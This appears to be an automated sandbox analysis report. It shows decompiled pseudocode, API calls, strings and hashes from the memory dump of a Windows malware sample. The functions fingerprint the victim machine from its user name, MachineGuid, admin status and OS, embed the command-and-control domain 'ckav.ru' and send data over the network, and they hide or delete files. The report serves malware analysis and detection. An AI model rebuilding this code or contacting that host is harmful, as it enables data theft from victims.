Instruction ID: 60e70a0f6cedc7b52d1efda55ce7422740d02a59a4e71dca7f773cbcdc95941a
Opcode Fuzzy Hash: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction Fuzzy Hash: 2F014F315021343AD6356A679C0EEEF6D5DDF8B6B5F10422AFA18B60D0EA755B0181F8

Uniqueness

Uniqueness Score: -1.00%

Function 00412D31, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178
threadCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E00412D31(void* __ecx, void* __edi) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				char _v40;
				void* __ebx;
				intOrPtr* _t10;
				void* _t11;
				void* _t25;
				void* _t26;
				void* _t27;
				void* _t35;
				void* _t53;
				char* _t57;
				void* _t58;
				void* _t61;
				void* _t64;
				void* _t65;
				intOrPtr* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				void* _t73;

				_t53 = __ecx;
				_t10 =  *0x49fde0;
				_t68 = _t67 - 0x24;
				 *0x49fddc = 0x927c0;
				 *0x49fde4 = 0;
				_t75 = _t10;
				if(_t10 != 0) {
					L16:
					_push(1);
					_t11 = E004141A7(_t80,  *_t10,  *((intOrPtr*)(_t10 + 8))); // executed
					_t61 = _t11;
					_t68 = _t68 + 0xc;
					if(_t61 != 0) {
						E004031E5(0, 0, 0xfcae4162, 0, 0);
						CreateThread(0, 0, E0041289A, _t61, 0,  &_v8); // executed
					}
					L004067C4(0xea60); // executed
					_pop(_t53);
				} else {
					_push(__edi);
					 *0x49fde0 = E004056BF(0x2bc);
					E00413DB7(_t53, _t75,  &_v40);
					_t57 =  &_v24;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					E004058D4( *0x49fde0, 0x12);
					E004058D4( *0x49fde0, 0x28);
					E00405872( *0x49fde0, "ckav.ru", 0, 0);
					_t69 = _t68 + 0x28;
					_t64 = E0040632F();
					_push(0);
					_push(1);
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						E00405872();
						_t70 = _t69 + 0x10;
					} else {
						_push(_t64);
						_push( *0x49fde0);
						E00405872();
						E00402BAB(_t64);
						_t70 = _t69 + 0x14;
					}
					_t58 = E00406130(_t57);
					_push(0);
					_push(1);
					_t77 = _t64;
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t25 = E00405872();
						_t71 = _t70 + 0x10; // executed
					} else {
						_push(_t58);
						_push( *0x49fde0);
						E00405872();
						_t25 = E00402BAB(_t58);
						_t71 = _t70 + 0x14;
					}
					_t26 = E004061C3(_t25, 0, _t77); // executed
					_t65 = _t26;
					_push(0);
					_push(1);
					if(_t65 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t27 = E00405872();
						_t72 = _t71 + 0x10;
					} else {
						_push(_t65);
						_push( *0x49fde0);
						E00405872();
						_t27 = E00402BAB(_t65);
						_t72 = _t71 + 0x14;
					}
					_t66 = E00406189(_t27);
					_t79 = _t66;
					if(_t66 == 0) {
						E00405781( *0x49fde0, 0);
						E00405781( *0x49fde0, 0);
						_t73 = _t72 + 0x10;
					} else {
						E00405781( *0x49fde0,  *_t66);
						E00405781( *0x49fde0,  *((intOrPtr*)(_t66 + 4)));
						E00402BAB(_t66);
						_t73 = _t72 + 0x14;
					}
					E004058D4( *0x49fde0, E004063B2(0, _t53, _t79));
					E004058D4( *0x49fde0, E004060BD(_t79)); // executed
					_t35 = E0040642C(_t79); // executed
					E004058D4( *0x49fde0, _t35);
					E004058D4( *0x49fde0, _v24);
					E004058D4( *0x49fde0, _v20);
					E004058D4( *0x49fde0, _v16);
					E004058D4( *0x49fde0, _v12);
					E00405872( *0x49fde0, E00413D97(0), 1, 0);
					_t68 = _t73 + 0x48;
				}
				_t80 =  *0x49fde4;
				if( *0x49fde4 == 0) {
					_t10 =  *0x49fde0;
					goto L16;
				}
				return E00405695(_t53,  *0x49fde0);
			}

0x00412d31
0x00412d34
0x00412d39
0x00412d3c
0x00412d49
0x00412d50
0x00412d52
0x00412f24
0x00412f24
0x00412f2b
0x00412f30
0x00412f32
0x00412f37
0x00412f41
0x00412f53
0x00412f53
0x00412f5b
0x00412f60
0x00412d58
0x00412d58
0x00412d63
0x00412d6c
0x00412d73
0x00412d7e
0x00412d7f
0x00412d80
0x00412d81
0x00412d82
0x00412d8f
0x00412da1
0x00412da6
0x00412dae
0x00412db0
0x00412db1
0x00412db5
0x00412dce
0x00412dcf
0x00412dd5
0x00412dda
0x00412db7
0x00412db7
0x00412db8
0x00412dbe
0x00412dc4
0x00412dc9
0x00412dc9
0x00412de2
0x00412de4
0x00412de5
0x00412de7
0x00412de9
0x00412e02
0x00412e03
0x00412e09
0x00412e0e
0x00412deb
0x00412deb
0x00412dec
0x00412df2
0x00412df8
0x00412dfd
0x00412dfd
0x00412e11
0x00412e17
0x00412e19
0x00412e1a
0x00412e1e
0x00412e37
0x00412e38
0x00412e3e
0x00412e43
0x00412e20
0x00412e20
0x00412e21
0x00412e27
0x00412e2d
0x00412e32
0x00412e32
0x00412e4b
0x00412e4d
0x00412e4f
0x00412e7e
0x00412e8a
0x00412e8f
0x00412e51
0x00412e59
0x00412e67
0x00412e6d
0x00412e72
0x00412e72
0x00412e9e
0x00412eaf
0x00412eb4
0x00412ec0
0x00412ece
0x00412edc
0x00412eea
0x00412ef8
0x00412f0f
0x00412f14
0x00412f14
0x00412f17
0x00412f1d
0x00412f1f
0x00000000
0x00412f1f
0x00412f74

APIs

CreateThread.KERNELBASE(00000000,00000000,0041289A,00000000,00000000,?,00000000,FCAE4162,00000000,00000000,?,?,?,?,00000001,00000000), ref: 00412F53

Part of subcall function 0040632F: _wmemset.LIBCMT ref: 0040634F

Part of subcall function 00402BAB: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
Part of subcall function 00402BAB: RtlFreeHeap.NTDLL(00000000), ref: 00402BC0

Strings

ckav.ru, xrefs: 00412D96

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$CreateFreeProcessThread_wmemset
String ID: ckav.ru
API String ID: 2915393847-2696028687
Opcode ID: d166330210f886f258cea0f95f040112802ba461a537879de6ad45a462bfc85e
Instruction ID: 4531c2d42d5f5f74382d08a8027233dc497c0745a20cb628f46216a694decd77
Opcode Fuzzy Hash: d166330210f886f258cea0f95f040112802ba461a537879de6ad45a462bfc85e
Instruction Fuzzy Hash: 7751B7728005047EEA113B62DD4ADEB3669EB2034CB54423BFC06B51B2E67A4D74DBED

Uniqueness

Uniqueness Score: -1.00%

Function 0040632F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040632F() {
				char _v8;
				void* _t4;
				void* _t7;
				void* _t16;

				_t16 = E00402B7C(0x208);
				if(_t16 == 0) {
					L4:
					_t4 = 0;
				} else {
					E0040338C(_t16, 0, 0x104);
					_t1 =  &_v8; // 0x4143e8
					_v8 = 0x208;
					_t7 = E00406069(_t16, _t1); // executed
					if(_t7 == 0) {
						E00402BAB(_t16);
						goto L4;
					} else {
						_t4 = _t16;
					}
				}
				return _t4;
			}

0x00406340
0x00406345
0x00406373
0x00406373
0x00406347
0x0040634f
0x00406354
0x00406357
0x0040635c
0x00406366
0x0040636d
0x00000000
0x00406368
0x00406368
0x00406368
0x00406366
0x0040637a

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

_wmemset.LIBCMT ref: 0040634F

Part of subcall function 00406069: GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Strings

CA, xrefs: 00406354, 0040635A

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser_wmemset
String ID: CA
API String ID: 2078537776-1052703068
Opcode ID: ea15dbf965de6c39536eadaef71d36bb12a2dd1a9f609459e064ebb7523f79d3
Instruction ID: fc433e2548431d42ded6bbe1dab57db4bffb986d933035261d01f02eae51e62b
Opcode Fuzzy Hash: ea15dbf965de6c39536eadaef71d36bb12a2dd1a9f609459e064ebb7523f79d3
Instruction Fuzzy Hash: 0FE09B62A4511477D121A9665C06EAF76AC8F41B64F11017FFC05B62C1E9BC9E1101FD

Uniqueness

Uniqueness Score: -1.00%

Function 00406086, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406086(void* _a4, union _TOKEN_INFORMATION_CLASS _a8, void* _a12, long _a16, DWORD* _a20) {
				int _t7;
				void* _t8;

				E004031E5(_t8, 9, 0xecae3497, 0, 0);
				_t7 = GetTokenInformation(_a4, _a8, _a12, _a16, _a20); // executed
				return _t7;
			}

0x00406094
0x004060a8
0x004060ab

APIs

GetTokenInformation.KERNELBASE(?,00000000,00000001,?,004062B4,00000009,ECAE3497,00000000,00000000,IDA,004062B4,IDA,00000001,00000000,?,?), ref: 004060A8

Strings

IDA, xrefs: 00406086

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InformationToken
String ID: IDA
API String ID: 4114910276-365204570
Opcode ID: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction ID: 313645685f6ff1854c13b9bf72d10cc52e042395484f5c11e0c3c7a214e99d66
Opcode Fuzzy Hash: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction Fuzzy Hash: F4D0C93214020DBFEF025EC1DC02F993F2AAB08754F008410BB18280E1D6B39670AB95

Uniqueness

Uniqueness Score: -1.00%

Function 00402C03, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C03(struct HINSTANCE__* _a4, char _a8) {
				_Unknown_base(*)()* _t5;
				void* _t6;

				E004031E5(_t6, 0, 0xceb18abc, 0, 0);
				_t1 =  &_a8; // 0x403173
				_t5 = GetProcAddress(_a4,  *_t1); // executed
				return _t5;
			}

0x00402c10
0x00402c15
0x00402c1b
0x00402c1e

APIs

GetProcAddress.KERNELBASE(?,s1@,00000000,CEB18ABC,00000000,00000000,?,00403173,?,00000000), ref: 00402C1B

Strings

s1@, xrefs: 00402C15

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc
String ID: s1@
API String ID: 190572456-427247929
Opcode ID: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction ID: 1fbf97b0b55819c82851c7ea3a697f1c0796d20c97a22cfecd58a5260392007e
Opcode Fuzzy Hash: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction Fuzzy Hash: A5C048B10142087EAE016EE19C05CBB3F5EEA44228B008429BD18E9122EA3ADE2066A4

Uniqueness

Uniqueness Score: -1.00%

Function 00404A52, Relevance: 3.1, APIs: 2, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00404A52(void* _a4, char* _a8, char* _a12) {
				void* _v8;
				int _v12;
				void* __ebx;
				char* _t10;
				long _t13;
				char* _t27;

				_push(_t21);
				_t27 = E00402B7C(0x208);
				if(_t27 == 0) {
					L4:
					_t10 = 0;
				} else {
					E00402B4E(_t27, 0, 0x208);
					_v12 = 0x208;
					E004031E5(0, 9, 0xf4b4acdc, 0, 0);
					_t13 = RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v8); // executed
					if(_t13 != 0) {
						E00402BAB(_t27);
						goto L4;
					} else {
						E004031E5(0, 9, 0xfe9f661a, 0, 0);
						RegQueryValueExA(_v8, _a12, 0, 0, _t27,  &_v12); // executed
						E00404A39(_v8); // executed
						_t10 = _t27;
					}
				}
				return _t10;
			}

0x00404a56
0x00404a65
0x00404a6a
0x00404ad1
0x00404ad1
0x00404a6c
0x00404a71
0x00404a79
0x00404a85
0x00404a9a
0x00404a9e
0x00404acb
0x00000000
0x00404aa0
0x00404aac
0x00404abc
0x00404ac1
0x00404ac6
0x00404ac6
0x00404a9e
0x00404ad9

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

RegOpenKeyExA.KERNELBASE(00000032,?,00000000,00020119,00000000,00000009,F4B4ACDC,00000000,00000000,MachineGuid,00000032,00000000,00413DA5,00413987), ref: 00404A9A
RegQueryValueExA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000009,00000009,FE9F661A,00000000,00000000), ref: 00404ABC

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateOpenProcessQueryValue
String ID:
API String ID: 1425999871-0
Opcode ID: d488a9f9e3e4912de19e98427526cb377b3f09abeed86899b322f2e70aeae98a
Instruction ID: c751ae4fb1a51baa23b068920df28fa5e45e9ad9ad003da97b765f6d6e9ada80
Opcode Fuzzy Hash: d488a9f9e3e4912de19e98427526cb377b3f09abeed86899b322f2e70aeae98a
Instruction Fuzzy Hash: A301B1B264010C7EEB01AED69C86DBF7B2DDB81798B10003EF60475182EAB59E1156B9

Uniqueness

Uniqueness Score: -1.00%

Function 00402BAB, Relevance: 3.0, APIs: 2, Instructions: 11
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BAB(void* _a4) {
				void* _t3;
				char _t5;

				if(_a4 != 0) {
					_t5 = RtlFreeHeap(GetProcessHeap(), 0, _a4); // executed
					return _t5;
				}
				return _t3;
			}

0x00402bb2
0x00402bc0
0x00000000
0x00402bc0
0x00402bc7

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
RtlFreeHeap.NTDLL(00000000), ref: 00402BC0

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 0ab6f2dbedfa6cb862415dde11aab857cc1d2c8de5bdcfad433bf240e63de12c
Instruction ID: 8dd5a347e09044be93d5ac0bfd75615970d35e99714971ab129ae27a0189db5c
Opcode Fuzzy Hash: 0ab6f2dbedfa6cb862415dde11aab857cc1d2c8de5bdcfad433bf240e63de12c
Instruction Fuzzy Hash: 7FC01235000A08EBCB001FD0E90CBE93F6CAB8838AF808020B60C480A0C6B49090CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 004060BD, Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E004060BD(void* __eflags) {
				signed int _v8;
				char _v12;
				short _v16;
				char _v20;
				void* __ebx;
				intOrPtr* _t12;
				signed int _t13;
				intOrPtr* _t14;
				signed int _t15;
				void* _t24;

				_v16 = 0x500;
				_v20 = 0;
				_t12 = E004031E5(0, 9, 0xf3a0c470, 0, 0);
				_t13 =  *_t12( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
				_v8 = _t13;
				if(_t13 != 0) {
					_t14 = E004031E5(0, 9, 0xe3b938df, 0, 0);
					_t15 =  *_t14(0, _v12,  &_v8, _t24); // executed
					asm("sbb eax, eax");
					_v8 = _v8 &  ~_t15;
					E0040604F(_v12);
					return _v8;
				}
				return _t13;
			}

0x004060c6
0x004060d5
0x004060d8
0x004060f4
0x004060f6
0x004060fb
0x0040610a
0x00406115
0x0040611c
0x0040611e
0x00406121
0x00000000
0x0040612a
0x0040612f

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000009,E3B938DF,00000000,00000000,00000001), ref: 00406115

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CheckMembershipToken
String ID:
API String ID: 1351025785-0
Opcode ID: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction ID: 8b780b9e56efd5f2a9a2252a5f210822aeafba94d0ba5a8497d60ad8274f78a0
Opcode Fuzzy Hash: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction Fuzzy Hash: 7801867195020DBEEB00EBE59C86EFFB77CEF08208F100569B515B60C2EA75AF008764

Uniqueness

Uniqueness Score: -1.00%

Function 00403C62, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C62(void* __ebx, void* __eflags, WCHAR* _a4) {
				void* _t3;
				int _t5;

				_t3 = E00403D4D(__eflags, _a4); // executed
				if(_t3 == 0) {
					__eflags = 0;
					E004031E5(__ebx, 0, 0xc8f0a74d, 0, 0);
					_t5 = CreateDirectoryW(_a4, 0); // executed
					return _t5;
				} else {
					return 1;
				}
			}

0x00403c68
0x00403c70
0x00403c78
0x00403c82
0x00403c8b
0x00403c8f
0x00403c72
0x00403c76
0x00403c76

APIs

CreateDirectoryW.KERNELBASE(00413D1F,00000000,00000000,C8F0A74D,00000000,00000000,00000000,?,00413D1F,00000000), ref: 00403C8B

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction ID: 8def336d827aa123259dd30fe2d1f4df156212ecddfe904d71fbacf529eca846
Opcode Fuzzy Hash: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction Fuzzy Hash: 47D05E320450687A9A202AA7AC08CDB3E0DDE032FA7004036B81CE4052DB26861191E4

Uniqueness

Uniqueness Score: -1.00%

Function 0040642C, Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040642C(void* __eflags) {
				short _v40;
				intOrPtr* _t6;
				void* _t10;

				_t6 = E004031E5(_t10, 0, 0xe9af4586, 0, 0);
				 *_t6( &_v40); // executed
				return 0 | _v40 == 0x00000009;
			}

0x0040643c
0x00406445
0x00406454

APIs

GetNativeSystemInfo.KERNELBASE(?,00000000,E9AF4586,00000000,00000000,?,?,?,?,004144CF,00000000,00000000,00000000,00000000), ref: 00406445

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction ID: 89a273ea7bbabd9d74fc824e7d15e3b55fbc967ee531cdb223f62f0d5b23fb21
Opcode Fuzzy Hash: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction Fuzzy Hash: 60D0C9969142082A9B24FEB14E49CBB76EC9A48104B400AA8FC05E2180FD6ADF5482A5

Uniqueness

Uniqueness Score: -1.00%

Function 00404EEA, Relevance: 1.5, APIs: 1, Instructions: 16
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404EEA(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _t5;

				_t5 = _a12;
				if(_t5 == 0) {
					_t5 = E00405D0B(_a8) + 1;
				}
				__imp__#19(_a4, _a8, _t5, 0); // executed
				return _t5;
			}

0x00404eed
0x00404ef2
0x00404efd
0x00404efd
0x00404f07
0x00404f0e

APIs

send.WS2_32(00000000,00000000,00000000,00000000), ref: 00404F07

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction ID: 973ad19c2726000f66dbac5dad6f1ecaf56acd36cc9bde1755ab86a88c27f217
Opcode Fuzzy Hash: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction Fuzzy Hash: F8D09231140209BBEF016E55EC05BAA3B69EF44B54F10C026BA18991A1DB31A9219A98

Uniqueness

Uniqueness Score: -1.00%

Function 00403BD0, Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BD0(WCHAR* _a4, WCHAR* _a8, long _a12) {
				int _t6;
				void* _t7;

				E004031E5(_t7, 0, 0xc9143177, 0, 0);
				_t6 = MoveFileExW(_a4, _a8, _a12); // executed
				return _t6;
			}

0x00403bdd
0x00403beb
0x00403bee

APIs

MoveFileExW.KERNELBASE(00000000,00412C16,?,00000000,C9143177,00000000,00000000,?,004040B6,00000000,00412C16,00000001,?,00412C16,00000000,00000000), ref: 00403BEB

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction ID: 27267517ebbd606c040c475238707358b0366275ca1c9c11413b547716cf2561
Opcode Fuzzy Hash: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction Fuzzy Hash: 5AC04C7500424C7FEF026EF19D05C7B3F5EEB49618F448825BD18D5421DA37DA216664

Uniqueness

Uniqueness Score: -1.00%

Function 00404DF3, Relevance: 1.5, APIs: 1, Instructions: 13networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00404E08

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction ID: edfb6e6a7b2c2d2c81179f298452045bbfcf768a57aceb16f5d93ae35c4528ea
Opcode Fuzzy Hash: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction Fuzzy Hash: 6EC08C32AA421C9FD750AAB8AD0FAF0B7ACD30AB02F0002B56E1DC60C1E550582906E2

Uniqueness

Uniqueness Score: -1.00%

Function 0040427D, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040427D(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xcac5886e, 0, 0);
				_t4 = SetFileAttributesW(_a4, 0x2006); // executed
				return _t4;
			}

0x0040428a
0x00404297
0x0040429a

APIs

SetFileAttributesW.KERNELBASE(00000000,00002006,00000000,CAC5886E,00000000,00000000,?,00412C3B,00000000,00000000,?), ref: 00404297

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction ID: e837d3b0865cda380a04769d40cc561620ee701a25bf2a33446201ee5459e2a9
Opcode Fuzzy Hash: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction Fuzzy Hash: A9C092B054430C3EFA102EF29D4AD3B3A8EEB41648B008435BE08E9096E977DE2061A8

Uniqueness

Uniqueness Score: -1.00%

Function 00404A19, Relevance: 1.5, APIs: 1, Instructions: 13
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A19(void* _a4, short* _a8, void** _a12) {
				long _t5;
				void* _t6;

				E004031E5(_t6, 9, 0xdb552da5, 0, 0);
				_t5 = RegOpenKeyW(_a4, _a8, _a12); // executed
				return _t5;
			}

0x00404a27
0x00404a35
0x00404a38

APIs

RegOpenKeyW.ADVAPI32(?,?,?,00000009,DB552DA5,00000000,00000000), ref: 00404A35

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction ID: b1d3f25f69c2166d3d07fcddbc0993e3b6974a4a806b5379996ceb22213e89af
Opcode Fuzzy Hash: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction Fuzzy Hash: 5BC012311802087FFF012EC1CC02F483E1AAB08B55F044011BA18280E1EAB3A2205658

Uniqueness

Uniqueness Score: -1.00%

Function 00403C40, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C40(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xfbce7a42, 0, 0);
				_t4 = FindCloseChangeNotification(_a4); // executed
				return _t4;
			}

0x00403c4d
0x00403c55
0x00403c58

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,FBCE7A42,00000000,00000000,?,00404344,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00403C55

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction ID: f60e35b61e15034c3e7e350ceef27d37971f1a6745175d5827dd76012fe363c0
Opcode Fuzzy Hash: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction Fuzzy Hash: 70B092B01182087EAE006AF29C05C3B3E4ECA4060874094267C08E5451F937DF2014B4

Uniqueness

Uniqueness Score: -1.00%

Function 00403C08, Relevance: 1.5, APIs: 1, Instructions: 12
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C08(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xdeaa357b, 0, 0);
				_t4 = DeleteFileW(_a4); // executed
				return _t4;
			}

0x00403c15
0x00403c1d
0x00403c20

APIs

DeleteFileW.KERNELBASE(?,00000000,DEAA357B,00000000,00000000), ref: 00403C1D

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction ID: 5639c68ad781144a2d68ff400f656d3d2c658e81fc8059c2e96e04b5885f7932
Opcode Fuzzy Hash: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction Fuzzy Hash: EDB092B04082093EAA013EF59C05C3B3E4DDA4010870048257D08E6111EA36DF1010A8

Uniqueness

Uniqueness Score: -1.00%

Function 00402C1F, Relevance: 1.5, APIs: 1, Instructions: 12
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C1F(WCHAR* _a4) {
				struct HINSTANCE__* _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xe811e8d4, 0, 0);
				_t4 = LoadLibraryW(_a4); // executed
				return _t4;
			}

0x00402c2c
0x00402c34
0x00402c37

APIs

LoadLibraryW.KERNELBASE(?,00000000,E811E8D4,00000000,00000000), ref: 00402C34

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction ID: cd53f9395925d29cf68d66af6aae64644fca58afce9bbcd5edfe8b9605b00cd0
Opcode Fuzzy Hash: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction Fuzzy Hash: C9B092B00082083EAA002EF59C05C7F3A4DDA4410874044397C08E5411F937DE1012A5

Uniqueness

Uniqueness Score: -1.00%

Function 00403BEF, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BEF(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xda6ae59a, 0, 0);
				_t4 = FindClose(_a4); // executed
				return _t4;
			}

0x00403bfc
0x00403c04
0x00403c07

APIs

